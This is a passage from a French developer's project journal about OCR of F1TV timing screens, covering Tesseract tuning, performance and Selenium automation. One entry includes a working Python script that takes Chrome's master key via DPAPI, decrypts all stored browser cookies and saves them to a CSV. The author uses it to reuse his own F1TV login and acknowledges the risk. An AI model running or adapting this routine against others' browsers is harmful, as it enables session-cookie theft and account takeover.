beaucoup plus de couleurs mais dans une volont\u00e9 de rendre le sport plus facile \u00e0 comprendre \u00e0 la t\u00e9l\u00e9 cela a \u00e9t\u00e9 simplifi\u00e9. Je ne pense pas que cela va changer dans les ann\u00e9es qui viennent alors tout est hardcod\u00e9. Je pense que j'ai des soucis avec la detection de texte et de couleur car ma zone est trop grande. Alors bon j'\u00e9crit ces lignes apres des heures de tests. Il semble que la principale difficult\u00e9 avec ces pneus c'est que les chiffres ou lettres sont minuscules. Il est donc extr\u00eamement difficile de faire une reconnaissance ne serait-ce qu'un peu fiable.. Je fais de mon mieux pour tenter de r\u00e8gler le soucis cependant c'est vraiment complexe. Je commence \u00e0 devenir fou, je tente tout et nimporte quoi pour permettre \u00e0 mon algo de fonctionner et m\u00eame quand je fais du post processing comme pas possible il me retourne toujours nimporte quoi... \"5i t'inqui\u00e8tes\" Ici le programme va trouver '5i'... En fait c'est complexe d'expliquer tout ce que je fais car je change tout en boucle en essayant et en ratant ce qui prend des heures. Pour aujourd'hui j'abandonne je vais simplement rentrer chez moi et y r\u00e9flechir cette nuit mais je ne vois pas comment mieux faire la... C'est terrible par ce que je sens que je ne suis pas bien loin.","title":"Vendredi 6 Avril 2023"},{"location":"jdb.html#vacances","text":"Bon je vais un peu laisser de c\u00f4t\u00e9 la detection de chiffres pour me pencher un peu plus sur la d\u00e9tection de couleur. Par ce que techniquement si j'arrive \u00e0 toujours parfaitement la detecter alors je pourrais me passer des chiffres car ils sont redondant si je construit un historique de pneus. J'ai r\u00e9ussi \u00e0 fix mon probl\u00e8me de mauvaise detection de couleur de pneus. Du moins je crois. Seulement j'ai quand m\u00eame un souci, les fen\u00eatres de pneus avec une lettre n'ont pas assez de couleur pour \u00eatre d\u00e9tect\u00e9s. Je vais donc essayer de detecter les cinq lettres possibles et si il ne trouve pas alors je pourrai tenter de detecter les chiffres sans lettres ce qui devrait grandement aider. Le but est encore une fois de r\u00e9duire les possibilit\u00e9s de Tesseract. Je me rend de plus en plus compte que le plus important c'est de r\u00e9duire le scope le plus possible. Moins il y a de mots et lettres et de chiffres possibles meilleure sera la reconnaissance. Bon ca ne veut toujours pas marcher maintenant le 11 est interpr\u00eat\u00e9 comme trois I ou comme un M... J'en ai marre sans rire c'est vraiment p\u00e9nible. Alors j'\u00e9crit ces lignes deux jours plus tard et me rend compte avec horreur que toutes mes modifications sur ce journal de bord n'ont pas \u00e9t\u00e9 auvegard\u00e9e... yess.. Bon pour faire simple, j'ai r\u00e9ussi \u00e0 rendre la detection de couleurs bien plus efficace en r\u00e9duisant la taille de l'image et en ne prenant pas en compte les couleurs que l'on d\u00e9tecte comme \u00e9tant partie int\u00e9grante du background. Par exemple quand on a une image comme celle ci : \"Avec background\" qui contient un background alors que ci dessous, on l'a enlev\u00e9. \"Sans background\" La diff\u00e9rence est t\u00e9nue mais elle permet de grandement am\u00e9liorer la prescision de la reconnaissance de couleurs. Pour ce qui est du nombre de tours je me suis rendu compte que cela n'\u00e9tait d\u00e9ja pas tr\u00e8s utile car avec l'historique on devrait pouvoir le d\u00e9duire. Mais bon pour la forme je me suis dit que cela serait quand m\u00eame une bonne id\u00e9e de v\u00e9rifier avec la reconnaissance. J'\u00e9tais quasi certain que le soucis \u00e9tait le fait que l'on voie le contour du logo de pneu qui faisait que la reconnaissance avait du mal. Et j'avais raison ! En les enlevant (Ce qui n'a pas \u00e9t\u00e9 simple) J'ai pu avoir des chiffres beaucoup plus proches de la r\u00e9alit\u00e9. En m\u00eame temps je ne vois pas bien comment j'aurais pu faire mieux : \"Super 11\" Je suis quand m\u00eame assez fier de voir que j'ai r\u00e9ussi \u00e0 part de l'image que on peut voir un peu plus haut et automatiquement la transormer en celle ci-dessus. J'ai donc pu retirer le round autour du chiffre et cela m'a permit de pouvoir d\u00e9zoomer un peu et c'est avec ca que les lettres ont pu \u00eatre mieux reconnues : \"Super H\" \"Super M\" Maintenant je pense qu'il ne reste \"plus qu'\u00e0\" nettoyer un peu tout ce code qui traine de partout pour tout faire fonctionner et impl\u00e9menter un peu de parrallel processing ainsi que de l'asynchrone pour ne pas bloquer le reste du programme. Par ce qu'il faut savoir que en l'\u00e9t\u00e2t, le programme met 25 secondes \u00e0 d\u00e9marrer et consomme presque 2GB de Ram. Certes cela ne veut pas dire que la reconnaissance \u00e0 elle seule prend 25 secondes car au d\u00e9marrage il y a aussi la lecture du fichier de config et la cr\u00e9ation des window etc.. En r\u00e9alit\u00e9 la partie strictement OCR prend dans les 12s si on en croit la fonction stopWatch de C#. Et quand on change d'image la reconnaissance prend 9s. Dans tout les cas c'est BEAUCOUP trop. J'aurais eu comme objectif de faire une reconnaissance toutes les secondes. Je ne sais pas bien si cela va \u00eatre possible mais en tout cas le but va \u00eatre de s'en rapprocher. Pour \u00eatre plus exact et permettre une comparaison, voici les stats exactes Avec un fichier d'images vide : Loading - 11.8s Splitting d'images - 90ms OCR - 12.5s Avec un fichier d'images plein : Loading - 10.8s Splitting d'images - 80ms Ocr - 11.6s En passant d'une image \u00e0 l'autre : Loading - NaN Splitting d'images - 50ms Ocr - 8.8s Donc on peut voir que les deux endroits ou le programme prend le plus de temps c'est au premier d\u00e9marrage quand il faut lire le fichier et setup les windows etc... Et l'OCR qui prend un temps fou. Ce qui est pratique c'est que les presque 2gb de ram sont utilis\u00e9s que au lancement et ensuite l'application n'en utilise que quelques centaines de mb. Le processeur lui tourne entre 10 et 20% ce qui ne va pas durer :) Je vais m'occuper dabord du loading. J'ai essay\u00e9 d'utiliser un Parrallel.For au moment de la cr\u00e9ation des windows, le probl\u00e8me c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partag\u00e9es pour \u00eatre vraiment thread Safe. J'\u00e9sp\u00e8re que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai \u00e0 l'optimisation de l'OCR... Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes \u00e0 s'executer et je ne comprend pas bien pourquoi. for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset) /*- (i* (FirstZoneSize.Height / 32))*/); Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize)); Bitmap zoneImg = newDriverZone.ZoneImage; newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea))); newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea))); newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea))); newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea))); newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea))); newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea))); newDriverZone.AddWindow(new DriverSector1Window(zoneImg, new Rectangle(driverSector1Position, driverSector1Area))); newDriverZone.AddWindow(new DriverSector2Window(zoneImg, new Rectangle(driverSector2Position, driverSector2Area))); newDriverZone.AddWindow(new DriverSector3Window(zoneImg, new Rectangle(driverSector3Position, driverSector3Area))); MainZone.AddZone(newDriverZone); } Alors que Zone.AddWindow c'est simplement : public virtual void AddWindow(Window window) { Windows.Add(window); } Et windows est simplement une liste. Donc ca ne peut pas \u00eatre ca qui prend du temps. Et les windows que je cr\u00e9\u00e9 ont ca comme code : public DriverPositionWindow(Bitmap image, Rectangle bounds) : base(image, bounds) { Name = \"Position\"; } Sachant que le constructeur de base d'une Window c'est : public Window(Bitmap image, Rectangle bounds) { Image = image; Bounds = bounds; Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imb\u00e9cile... J'ai juste \u00e0 changer ce constructeur avec ca: if (Engine == null) { Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } ET le loading ne prend plus que 2-300 ms... Bon c'est une tr\u00e8s belle am\u00e9lioration pour pas tr\u00e8s ch\u00e8r mais bon c'est un peu b\u00eate... Bon je pense que 2-300ms c'est une dur\u00e9e correcte surtout que ca n'est appel\u00e9 qu'une fois pour le lancement. On peut passer \u00e0 la suite maintenant. Alors il y a un grand soucis avec la parallellisation de l'OCR... Tesseract n'est pas par d\u00e9faut une classe \"Thread safe\" ce qui veut dire que je ne peut utiliser de parallell.Foreach sur mes windows pour acc\u00e8l\u00e8rer le traitement drastiquement. Je pourrais par exemple avoir une instance de Tesseract par window sauf que cela fait 20 pilotes * 9 windows chacuns ce qui donne 180 instances ce qui n'est tout simplement pas raisonnable. Je vais donc essayer de voir avec l'utilisation de methodes asynchrones qui me permettraient de faire un genre de flux tendu de reconnaissance. J'avoue que la je navigue un peu \u00e0 vue, je me base sur diff\u00e9rentes infos que je trouve sur des sites un peu perdus et sur chatGPT, j'esp\u00e8re que j'arriverai \u00e0 trouver une solution car 10 secondes de reconnaissance c'est vraiment beaucoup trop. Alors le soucis avec un Engine unique entre toutes les windows c'est qu'il n'est pas possible de process plusieurs images \u00e0 la fois. Je vais donc retirer l'engine unique pour voir si en cr\u00e9er un par window me permet de passer en multithreading. La grande question sera : Est-ce que les ressources suppl\u00e9mentaires que vont prendre la cr\u00e9ation de tous ces engines va compenser enti\u00e8rement le temps gagn\u00e9 avec la paralellisation. Pour stocker les donn\u00e9es dans un premier temps je vais cr\u00e9er un objet DriverData. Ce qu'il y a de pratique avec ca, c'est que je pourrais ajouter du code de v\u00e9rification de certaines donn\u00e9es directement dedans avant de les donner \u00e0 la suite du programme. Et on peut m\u00eame imaginer une impl\u00e9mentation d'une liste de DriverData pour avoir l'historique. Ce qui serait cool ca serait de grouper toutes ces data avec un num\u00e9ro de tour. Placer ensuite la liste de Data dans une DB serait ainsi super simple. Mais il va falloir savoir quoi mettre, quelles infos sont redondantes et prendre en compte le fait que un tour affich\u00e9 sur la page de la F1TV n'est accompli que par certains des premiers pilotes. D'autres pilotes peuvent \u00eatre dans des tours pr\u00e9c\u00e9dents si ils ont du retard. Il faudra r\u00e9fl\u00e9chir \u00e0 cela quand je viendrai au mod\u00e8le. Bon pour y arriver j'ai du faire de gros changements et le r\u00e9sultat n'est peut-\u00eatre pas aussi cool que ce que j'aurais voulut... Voici un petit point sur les performances maintenant J'ai \u00e9galement d\u00e9sactiv\u00e9 le dump d'images. Pour le moment j'ai tout mis en commentaire mais cela pourrait \u00eatre int\u00e9ressant de faire en sorte de pouvoir l'activer en changeant une ou deux variables Au d\u00e9marrage : Loading - 113ms Splitting d'images - 14ms Ocr - 7s En passant d'une image \u00e0 l'autre : Loading - 113ms Splitting d'images - 13ms Ocr - 5s Alors clairement les stats montrent qu'il y a eu un changement mesurable mais bon je pensais pouvoir en gagner un peu plus... Je soupconne la cr\u00e9ation d'engines d'\u00eatre \u00e0 l'origine de ces performances presque d\u00e9cevantes. Autre soucis, il semble que plus je change d'image plus la detection est lente et plus je consomme de RAM. Il va falloir que je travaille encore un peu. J'ai tent\u00e9 de mettre un stopwatch sur une des cr\u00e9ations d'engine Tesseract et le r\u00e9sultat me parait fou... Plus d'une seconde c'est dingue. J'ai test\u00e9 dans d'autres endroits du code et effectivement il semble que la cr\u00e9ation d'un engine prenne entre une et deux secondes ce qui est une ETERNITEE what ! Donc il faut optimiser tout ca. Une id\u00e9e serait de d\u00e9composer le threading mais cela me demanderait un gros refactor et je n'ai pas envie d'en refaire un la... Sinon, une fois qu'ils sont cr\u00e9\u00e9s ils ne prennent pas de temps du tout. Cr\u00e9er une fois tous les engines et ensuite les utiliser pourrait \u00eatre une bonne id\u00e9e. Cela prendrait longtemps au load mais ensuite les reconnaissances devraient \u00eatre super rapides. Ok alors ca c'est d\u00e9ja plus ce \u00e0 quoi je m'attendais ! On est de nouveau \u00e0 plus de 10s de loading time mais on est descendu \u00e0 deux secondes par OCR. (Bon autre soucis, l'utilisation de la RAM est ridicule plus de 2gb mais ce qui m'inqui\u00e8te c'est que j'ai l'impression qu'elle augmente plus on change d'image) J'ai r\u00e8gl\u00e9 (en partie) le soucis en obligeant le GC (Garbage Collector) \u00e0 collecter apr\u00e8s chaque detection. m\u00eame apr\u00e8s 50 detections l'utilisation de la ram se stabilize autour des 2GB. Bon en paralellisant la cr\u00e9ation des Engines le soucis c'est que cela demande d'allouer beaucoup trop de m\u00e9moire d'un coup alors le programme se fige pendant genre cinq secondes avant de tout cr\u00e9er. Du coup m\u00eame si la cr\u00e9ation est plus rapide, on se retrouve avec un temps total plus long... Je pense que l'on va devoir se contenter de ces dix secondes. Bon la j'allais tenter de faire la documentation mais je viens de me rendre compte que la detection de temps au tour est pas vraiment encore id\u00e9ale... J'ai r\u00e9ussi \u00e0 changer un petit peu le programme de reconnaissance pour rendre la reconnaissance un peu meilleure mais cela a drastiquement augment\u00e9 le temps requis pour d\u00e9coder... On arrive \u00e0 3.5 secondes. Je vais tenter de rajouter un peu de parralell processing sur les boucles de traitement voir si cela peut aider. Alors effectivement cela aide pas mal, on arrive maintenant \u00e0 faire une detection presque tout le temps en dessous de la seconde. Et j'ai aussi du changer un peu le fonctionnement de la detection des Temps au tour. Et voila je pense que je vais m'arr\u00eater la pour la partie d\u00e9codage. Je ne pense pas que je peux facilement faire mieux que ca et il faut que j'avance dans d'autres parties du projet. Je vais pouvoir commencer \u00e0 documenter un peu toute la partie OCR. Il faut que je prenne le temps de le faire bien car c'est la partie la plus int\u00e9ressante du projet et ou je pense que j'aurai le plus essay\u00e9 de choses qui vallent le coup d\u00eatres racont\u00e9es. J'ai aussi pass\u00e9 pas mal de temps sur le poster du projet. J'avais fait des croquis au crayon de ce \u00e0 quoi je pensais, cependant apr\u00e8s de longues discussions avec M.Garcia ils n'\u00e9taient pas forc\u00e9ment tr\u00e8s bons car ils ne repr\u00e9sentent pas assez bien le fonctionnement du projet et sont un peu trop marketings. Du coup j'ai fait une premi\u00e8re version au propre : \"Poster V1\" Mais je n'\u00e9tais pas forc\u00e9ment content du r\u00e9sultat et il manquait des choses je trouve comme par exemple l'utilisation de Selenium. J'ai donc repass\u00e9 des heures \u00e0 faire une seconde version : \"Poster V2\" La police d'\u00e9criture n'est pas encore la bonne mais cela va venir. Mais je pr\u00e9f\u00e8re d\u00e9ja beaucoup cette version \u00e0 la premi\u00e8re. Je ne sais pas encore si la version finale sera une version plus travaill\u00e9e de ce poster ou compl\u00eatement autre chose mais pour l'instant je suis \u00e0 peu pr\u00e8s content de cette version. Je le trouve un tout petit peu trop brouillon ou avec trop d'infos mais il m'a \u00e9t\u00e9 de nombreuses fois reproch\u00e9 de ne pas assez montrer le fonctionnememt interne et je ne peux pas faire plus simple. L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit. Maintenant que je suis \u00e0 peu pr\u00e8s content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer) Bon j'ai cr\u00e9\u00e9 u nouveau projet selenium mais m\u00eame avec les bonnes libraries je n'arrivais pas \u00e0 faire fonctionner firefox j'avais toujours une erreur \"OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'\" et j'ai pu r\u00e8gler le probl\u00e8me en t\u00e9l\u00e9chargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service : var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@\"geckodriver-v0.27.0-win32\\geckodriver.exe\"); FirefoxOptions options = new FirefoxOptions(); var driver = new FirefoxDriver(service,options); Le seul probl\u00e8me c'est que du coup il faut tout le temps d\u00e9placer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense. Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres. Bon il va falloir que je parle de la r\u00e9cup\u00e9ration de cookie. J'ai d\u00e9ja pu travailler lors d'un poc sur la meilleure facon de prendres des screenshots de la F1TV : Avoir une page chrome ouverte avec le feed en plein \u00e9cran et un programme qui prend des captures d'\u00e9crans. Avoir une cam\u00e9ra qui prend en photo l'\u00e9cran au cas ou chrome et Firefox emp\u00eachent la prise de captures d'\u00e9crans. R\u00e9cup\u00e8rer directement le feed en faisant du reverse engeneering de la plateforme. Simuler un chrome en background qui prenne des screenshot sans qu'on aie \u00e0 le voir. Dans toutes ces options, je dirais que la pire \u00e9tait celle de la cam\u00e9ra qui filme l'\u00e9cran, mais \u00e0 l'\u00e9poque c'\u00e9tait encore envisageable comme solution de dernier recours. Le soucis de cette solution c'est l'horreur que serait la partie OCR avec une image de tr\u00e8s mauvaise qualit\u00e9. Une autre option qui m'aurait vraiment emb\u00eat\u00e9 aurait \u00e9t\u00e9 de devoir garder une page de Chrome ou Firefox ouverte quelque part sur un \u00e9cran pour que le programme puisse prendres des captures d'\u00e9crans. C'est de loin l'option la plus simple et la plus logique mais elle poss\u00e8de pour moi de tr\u00e8s gros points noirs : On ne peut pas certifier l'int\u00e9grit\u00e9 des donn\u00e9es car l'utilisateur a le contr\u00f4le total sur le feed. Il peut mettre pause, avancer, reculer, tout casser sans faire expr\u00e8s en ouvrant autre chose sur son ordi qui se mette pile devant. Bref c'est un peu bancale. Et surtout on bloque une partie non significative de l'\u00e9cran de l'utilisateur avec des infos redondantes. Et je peux vous dire que quand je commente la F1 j'ai besoin de beaucoup d'informations et que chaque centim\u00e8tre d'\u00e9cran est crucia\u00e9 ! Alors avoir un \u00e9cran complet bloqu\u00e9 est juste un point bloquant qui m'emp\u00eacherait d'utiliser l'app aussi bonne soit-elle dans ses pr\u00e9dictions. Mais bon si aucune autre methode ne fonctionne ce qui est bien c'est que celle la est plut\u00f4t simple \u00e0 mettre en place. Ensuite reverse engeneer le feed serait l'option la plus classe, cependant c'est la plus complexe et la plus bancale au niveau l\u00e9gal haha. L'id\u00e9e serait de r\u00e9cup\u00e8rer le lien vers le broadcast g\u00e9n\u00e9ral et de comprendre comment il fonctionne pour le d\u00e9coder nous m\u00eame pendant un Grand Prix. Seuls soucis : Il n'est pas possible de faire des tests en dehors des periodes de Grand Prix (Et je rappelle que c'est des p\u00e9riodes ou je travaille en plus) Difficile de faire un syst\u00e8me qui marche pareil pour les rediffusions et les lives. (En effet les liens des rediff sont beaucoup plus simple \u00e0 r\u00e9cup\u00e8rer mais ne fonctionnent pas du tout pareil et pour tester l'app il est essentiel de pouvoir s'entrainer sur des anciens Grand Prix) Dernier GROS soucis, je ne sais tout simplement pas faire ca lol. Je ne sais pas comment faire. Peut-\u00eatre que avec des profs qui m'aident et chat gpt ainsi qu'internet je pourrais potentiellement n\u00e9gocier un truc mais c'est hautement improbable et cela serait une perte de temps folle si je n'y arrive pas. Derni\u00e8re option que je trouve la plus s\u00e9duisante. Simuler une instance de Chrome ou de Firefox (Le soucis avec chrome c'est qu'il impl\u00e9mente l'utilisation de DRM dans les vid\u00e9os qui fait qu'il est tr\u00e8s difficile de passer outre la s\u00e9curit\u00e9 avec un bot) pour ensuite prendre des captures d'\u00e9crans automatiquement. Cette solutions offre pleins d'avantages : Pas de place prise sur l'\u00e9cran L'int\u00e9grit\u00e9 des donn\u00e9es est assur\u00e9e car c'est le programme qui d\u00e9cide d'ou partir et de si il met pause ou non C'est une option complexe mais beaucoup moins que le reverse engeneering Elle permet de ne demander presque aucun input de la part de l'utilisateur. Mais elle pose quelques probl\u00e9matiques : Comment se connecter automatiquement sans \u00eatre detect\u00e9 par un Bot et sans demander \u00e0 l'utilisateur ses identifiants (Pour des raisons \u00e9videntes qui sont : QUI VA METTRE SES IDENTIFIANTS SUR UNE VIEILLE APP COMME LA MIENNE??) Comment faire en sorte que le programme prenne les meilleures captures dans la meilleure qualit\u00e9 et en plein \u00e9cran. Mais j'ai d\u00e9cid\u00e9 de partir sur cette option. Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et m\u00eame si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte. J'ai donc d\u00e9cid\u00e9 de tout faire en utilisant un portage de Selenium dans mon programme. Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@\"geckodriver-v0.27.0-win32\\geckodriver.exe\"); service.Host = \"127.0.0.1\"; service.Port = 5555; FirefoxOptions options = new FirefoxOptions(); options.AddArgument(\"--disable-headless\"); var driver = new FirefoxDriver(service,options); driver.Navigate().GoToUrl(\"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1\"); Dans cet exemple on d\u00e9sactive le \"Headless\" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vid\u00e9o youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les diff\u00e9rents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut. Mais un petit d\u00e9tail extr\u00eamement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour acc\u00e8der au contenu il faut \u00eatre connect\u00e9. Sauf que une instance de firefox cr\u00e9\u00e9 par Selenium est comme une page de naviguation priv\u00e9e, ce qui veut dire que si on va sur la page de la F1TV on est pas connect\u00e9s. Je pourrais tout \u00e0 fait demander \u00e0 l'utilisateur de me donner ses identifiants pour que j'aille ensuite automatiquement me connecter sauf que cela pose deux soucis: Personne ne voudra mettre ses identifiants sur mon programme La page de login de la F1TV a \u00e9t\u00e9 prot\u00e8g\u00e9e avec la meilleure technologie de detection de bots que je connaisse. Presque aucun site n'arrive \u00e0 me detecter sauf eux ! Donc c'est tout simplement impossible d'utiliser cette technique. Ensuite je me suis rappel\u00e9 que ce que la page stocke pour me permettre de rester connect\u00e9 ce sont des cookies. Et si je mets le bon cookies dans Selenium alors je serai connect\u00e9. Dans un premier temps je voulais faire un syst\u00e8me ou l'utilisateur irait prendre dans son chrome son cookie et le copie colle dans mon programme mais c'est immonde. C'est alors que vient la partie r\u00e9cup\u00e8ration de cookies ! Tous les cookies de chrome sont stock\u00e9s dans une base de donn\u00e9es SQLITE. On pourrait se dire Banco il suffit d'aller dedans et de retrouver tous les cookies et se connecter. Sauf que, pas b\u00eates, les \u00e9quipes de chrome ont d\u00e9cid\u00e9 que c'\u00e9tait une bonne id\u00e9e d'encoder les cookies pour que tout le monde ne puisse pas venir y mettre son nez... En effet les cookies peuvent contenir des informations importantes. Cela fait que pour utiliser ces cookies il faut pouvoir les d\u00e9coder. Mon hypoth\u00e8se a \u00e9t\u00e9 que si ces cookies peuvent \u00eatre lus par Chrome m\u00eame hors connexion, c'est que la cl\u00e9 de d\u00e9codage existe sur l'appareil et qu'il suffit de la trouver. ET C'EST LE CAS! Apr\u00e8s pas mal de recherches j'ai pu voir que la cl\u00e9 de d\u00e9codage existe bel et bien et qu'il suffit de la d\u00e9coder en utilisant la librairie DPAPI pour la lire. Avec cette cl\u00e9 on peut ensuite d\u00e9coder les cookies et leurs valeurs ce qui veut dire qu'il est th\u00e9oriquement possible d'automatiser le processus sans que l'utilisateur n'aie rien \u00e0 faire. J'ai d\u00e9cid\u00e9 de faire la partie r\u00e9cup\u00e8ration en python pour deux raison : Je n'arrivais pas \u00e0 trouver une bonne impl\u00e9mentation de DPAPI en C# qui me permettait de d\u00e9coder la cl\u00e9. Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir \u00e0 recompiler le code C#. J'ai donc avec l'aide d'internet et de ChatGPT cr\u00e9\u00e9 ce script : def get_master_key(): with open( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\", \"r\" ) as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] print(\"MASTER KEY :\") print(master_key) print(len(master_key)) return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception: # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key() cookies_path = Path( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" ) if not cookies_path.exists(): raise ValueError(\"Cookies file not found\") with sqlite3.connect(cookies_path) as connection: connection.row_factory = sqlite3.Row cursor = connection.cursor() cursor.execute(\"SELECT * FROM cookies\") with open('cookies.csv', 'a', newline='') as csvfile: fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) if csvfile.tell() == 0: writer.writeheader() for row in cursor.fetchall(): decrypted_value = decrypt_password(row[\"encrypted_value\"], master_key) writer.writerow({ 'host_key': row[\"host_key\"], 'name': row[\"name\"], 'value': decrypted_value, 'path': row[\"path\"], 'expires_utc': row[\"expires_utc\"], 'is_secure': row[\"is_secure\"], 'is_httponly': row[\"is_httponly\"] }) print(\"Finished CSV\") Ce programme va faire tout ce que j'ai expliqu\u00e9 et va ensuite stocker les r\u00e9sultats dans un CSV pour qu'il soit facile d'y acc\u00e8der depuis le C#. Alors oui cela pose certaines questions de s\u00e9curit\u00e9. Car en effet je prend tous les cookies, les d\u00e9code et les stocke. Ce qui veut dire que je pourrais tout \u00e0 fait envoyer ces donn\u00e9es quelque part, par exemple un compte Netflix, et me rincer. Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionn\u00e9 clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca. Maintenant de l'autre c\u00f4t\u00e9 j'ai juste \u00e0 lire le CSV et le tour est jou\u00e9 ! (Trouver cette solution m'a pris une semaine de vacances \u00e0 l'\u00e9poque) Bon j'ai r\u00e9ussi \u00e0 faire le programme se connecter et naviguer etc.. Par contre quelque chose que j'ai voulu ajouter et qui m'a pris pas mal de temps c'est de faire en sorte de pouvoir selectionner la qualit\u00e9. Pour changer la qualit\u00e9 du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la m\u00eame. Elle commence toujours pas \"1080_\" mais ensuite ca peut \u00eatre \"1080_45930285\" ou \"1080_56801\" la suite est apparemment random. J'ai donc du utiliser ce code pour le selectioner quand m\u00eame : IWebElement settingsButton = driver.FindElement(By.ClassName(\"bmpui-ui-settingstogglebutton\")); settingsButton.Click(); IWebElement selectElement = driver.FindElement(By.ClassName(\"bmpui-ui-videoqualityselectbox\")); SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector(\"option[value^='1080_']\")); selectOption.Click(); Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le probl\u00e8me c'est qu'il est invisible alors on doit le faire apparaitre. J'ai tent\u00e9 de le faire aparaitre en bougeant la souris, en cliquant \u00e0 un endroit pr\u00e9cis, impossible de le faire marcher correctement. Puis j'ai eu l'id\u00e9e de mettre pause en envoyant un appui sur la touche Espace et ca a permit de d\u00e9couvrir le bouton et permettre qu'on clique dessus. Ca peut paraitre tout b\u00eate mais rien que ca, ca m'a pris un temps consid\u00e9rable. Bon pour ce qui est du timecode de la vid\u00e9o. Je pense qu'il serait trop complexe de faire en sorte que selenium change le slider de progression de la vid\u00e9o. Alors j'ai fait quelques tests et apparemment, si on quitte la F1TV sur un timecode de la vid\u00e9o que on donne au programme, comme il r\u00e9cup\u00e8re tous les cookies de la F1TV il commencera de la. Donc si on veut utiliser le programme avec des Grand Prix ayant d\u00e9ja eu lieu, on peut le faire, seulement il faudra juste au pr\u00e9alable avoir choisit le bon timecode dans le page de la F1TV avant de le lancer. Ce qui est int\u00e9ressant c'est que la page de la F1TV ressemble \u00e0 ca au d\u00e9part : \"Empty F1TV\" Je pense qu'une bonne id\u00e9e serait de dire au programme que c'est la grille de d\u00e9part et ensuite d\u00e8s qu'il d\u00e9tecte un secteur il sait que la course a commenc\u00e9.","title":"Vacances"},{"location":"jdb.html#lundi-24-avril-2023","text":"Aujourd'hui c'est jour de documentation. J'ai pas mal travaill\u00e9 pendant les vacances mais je n'ai pas encore pu faire de vraie documentation correcte du fonctionnement. Du coup je vais m'en charger aujourd'hui et peut-\u00eatre un peu demain. Ok normalement je ne devrais faire que de la documentation mais je ne peux pas passer \u00e0 cot\u00e9 de ca... Le probl\u00e8me que j'ai avec les pneus ou parfois il d\u00e9tecte un H au lieu d'un '11' et ce genre de choses c'est \u00e0 cause de ma methode \"RemoveBG\" Qui va retirer tous les pixels plus sombres que le background. Sauf que cela va aussi retirer des pixels dans le chiffre lui m\u00eame et qui va donc defigurer les 11 : \"diformed 11\" \"diformed 11\" J'ai r\u00e9ussi \u00e0 les changer en : \"less diformed\" \"less diformed\" Mais au final cela n'a pas augment\u00e9 la pr\u00e9cision de la reconnaissance. Je pense que je vais donc devoir encore changer. Je pense que une bonne facon de trouver serait dabord de trouver la couleur du pneu. Et si il n'y a pas assez 